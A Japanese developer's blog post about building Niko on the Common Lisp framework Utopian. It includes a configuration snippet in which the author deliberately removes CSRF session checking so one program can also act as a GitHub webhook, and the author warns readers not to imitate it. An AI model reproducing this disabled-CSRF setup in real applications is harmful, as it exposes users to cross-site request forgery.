Utopianを使ったソフトウェアであるところのNikoなんですが、セキュリティ上ちょっとよくないことをしているので、真似しないでほしいなーという部分があります。
UtopianはRuby on Railsのような、画面がパスに対応するようなアプリケーションの作成を意図してつくられています。Nikoはひとつのプログラムで管理画面としても、GitHubのWebhookとしても動くようにつくりました。そのため、Utopianが標準で行っているクロスサイトリクエストフォージェリ対策のセッション値チェックをNikoでは外しています。
# niko/app.lisp (builder (:static :path "/public/" :root (project-path #P"public/")) :accesslog (unless (productionp) :clack-errors) (when (config :error-log) `(:backtrace :output ,(config :error-log))) :session - :csrf *app*)
おそらくこういう場合は画面をUtopianアプリとして、webhookはningleアプリとして、同時に起動するようにするのがいいかと思います。
それと、はじめてデプロイするとき、herokuのpostgresを利用して運用しようとしたのですが、cl-postgresがherokuの自己証明書による接続を許可しない(CL+SSLの証明書検査無視オプションを公開してない、気がした)ことでDB接続ができませんでした。早く運用したかったのでその場ではとりあえず諦め、AWS EC2に置いてsqlite3でDBをつくる運用としました。
ちょっとカッコわるいのでこの2点は真似しないでください。
ところで、Utopianはまだ開発中ということもありあまりドキュメント化されていません。DBIやORMやテンプレートエンジンなど、複数のライブラリが組み合わさっているので、ソースコードを参照しながら動きを理解しました。
Utopianを覚えようとして挫折した方を見ているので、ソースコードを読みながら得たことを記事にしてみると、いいかもしれないですね。